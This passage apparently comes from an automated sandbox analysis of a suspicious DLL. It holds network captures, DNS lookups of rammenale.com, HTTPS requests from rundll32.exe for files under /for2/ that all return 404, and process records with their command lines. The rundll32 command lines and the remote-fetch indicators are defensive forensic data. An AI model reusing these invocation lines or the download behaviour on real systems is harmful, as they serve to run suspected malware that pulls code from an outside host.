Aug 28, 2024 22:45:59.616499901 CEST	443	49712	131.153.206.231	192.168.2.5
Aug 28, 2024 22:45:59.656500101 CEST	443	49711	131.153.206.231	192.168.2.5
Aug 28, 2024 22:46:00.187422037 CEST	443	49712	131.153.206.231	192.168.2.5
Aug 28, 2024 22:46:00.187477112 CEST	49712	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:46:00.187493086 CEST	443	49712	131.153.206.231	192.168.2.5
Aug 28, 2024 22:46:00.187546015 CEST	49712	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:46:00.187577963 CEST	443	49712	131.153.206.231	192.168.2.5
Aug 28, 2024 22:46:00.187660933 CEST	443	49712	131.153.206.231	192.168.2.5
Aug 28, 2024 22:46:00.187679052 CEST	49712	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:46:00.187704086 CEST	49712	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:46:00.188194036 CEST	49712	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:46:00.188215017 CEST	443	49712	131.153.206.231	192.168.2.5
Aug 28, 2024 22:46:00.188222885 CEST	49712	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:46:00.188277960 CEST	49712	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:46:01.179564953 CEST	443	49711	131.153.206.231	192.168.2.5
Aug 28, 2024 22:46:01.179737091 CEST	443	49711	131.153.206.231	192.168.2.5
Aug 28, 2024 22:46:01.179771900 CEST	49711	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:46:01.180006027 CEST	49711	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:46:01.180243015 CEST	49711	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:46:01.180243015 CEST	49711	443	192.168.2.5	131.153.206.231
Aug 28, 2024 22:46:01.180270910 CEST	443	49711	131.153.206.231	192.168.2.5
Aug 28, 2024 22:46:01.185206890 CEST	49711	443	192.168.2.5	131.153.206.231

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 28, 2024 22:45:55.074853897 CEST	56841	53	192.168.2.5	1.1.1.1
Aug 28, 2024 22:45:55.134756088 CEST	53	56841	1.1.1.1	192.168.2.5
Aug 28, 2024 22:46:26.489363909 CEST	53	52145	162.159.36.2	192.168.2.5
Aug 28, 2024 22:46:26.959573984 CEST	60950	53	192.168.2.5	1.1.1.1
Aug 28, 2024 22:46:26.966577053 CEST	53	60950	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 28, 2024 22:45:55.074853897 CEST	192.168.2.5	1.1.1.1	0x6ca4	Standard query (0)	rammenale.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:46:26.959573984 CEST	192.168.2.5	1.1.1.1	0x21a7	Standard query (0)	198.187.3.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 28, 2024 22:45:55.134756088 CEST	1.1.1.1	192.168.2.5	0x6ca4	No error (0)	rammenale.com		131.153.206.231	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:46:26.966577053 CEST	1.1.1.1	192.168.2.5	0x21a7	Name error (3)	198.187.3.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

rammenale.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	131.153.206.231	443	7500	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:45:56 UTC	287	OUT	GET /for2/aclog.txt HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: rammenale.com Connection: Keep-Alive
2024-08-28 20:45:57 UTC	416	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Wed, 28 Aug 2024 20:45:57 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-08-28 20:45:57 UTC	952	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</sty
2024-08-28 20:45:57 UTC	299	IN	Data Raw: 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e 74 65 6e 74 20 Data Ascii: -top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49704	131.153.206.231	443	7484	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:45:56 UTC	287	OUT	GET /for2/aclog.txt HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: rammenale.com Connection: Keep-Alive
2024-08-28 20:45:57 UTC	416	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Wed, 28 Aug 2024 20:45:57 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-08-28 20:45:57 UTC	952	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</sty
2024-08-28 20:45:57 UTC	299	IN	Data Raw: 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e 74 65 6e 74 20 Data Ascii: -top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49708	131.153.206.231	443	7756	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:45:58 UTC	287	OUT	GET /for2/regit.tmp HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: rammenale.com Connection: Keep-Alive
2024-08-28 20:45:58 UTC	416	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Wed, 28 Aug 2024 20:45:58 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-08-28 20:45:58 UTC	952	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</sty
2024-08-28 20:45:58 UTC	299	IN	Data Raw: 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e 74 65 6e 74 20 Data Ascii: -top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49709	131.153.206.231	443	7748	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:45:58 UTC	287	OUT	GET /for2/regit.tmp HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: rammenale.com Connection: Keep-Alive
2024-08-28 20:45:58 UTC	416	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Wed, 28 Aug 2024 20:45:58 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-08-28 20:45:58 UTC	952	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</sty
2024-08-28 20:45:58 UTC	299	IN	Data Raw: 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e 74 65 6e 74 20 Data Ascii: -top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49712	131.153.206.231	443	8024	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:45:59 UTC	287	OUT	GET /for2/regit.tmp HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: rammenale.com Connection: Keep-Alive
2024-08-28 20:46:00 UTC	416	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Wed, 28 Aug 2024 20:45:59 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-08-28 20:46:00 UTC	952	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</sty
2024-08-28 20:46:00 UTC	299	IN	Data Raw: 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e 74 65 6e 74 20 Data Ascii: -top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49711	131.153.206.231	443	7952	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:45:59 UTC	287	OUT	GET /for2/aclog.txt HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: rammenale.com Connection: Keep-Alive
2024-08-28 20:46:01 UTC	416	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Wed, 28 Aug 2024 20:46:00 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-08-28 20:46:01 UTC	952	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</sty
2024-08-28 20:46:01 UTC	299	IN	Data Raw: 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e 74 65 6e 74 20 Data Ascii: -top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content

Target ID:	0
Start time:	16:45:53
Start date:	28/08/2024
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\Dll1.dll"
Imagebase:	0x330000
File size:	126'464 bytes
MD5 hash:	51E6071F9CBA48E79F10C84515AAE618
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	16:45:53
Start date:	28/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:45:53
Start date:	28/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\Dll1.dll",#1
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:45:53
Start date:	28/08/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\Dll1.dll,mydllmain
Imagebase:	0x330000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:45:53
Start date:	28/08/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\Dll1.dll",#1
Imagebase:	0x330000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:45:53
Start date:	28/08/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
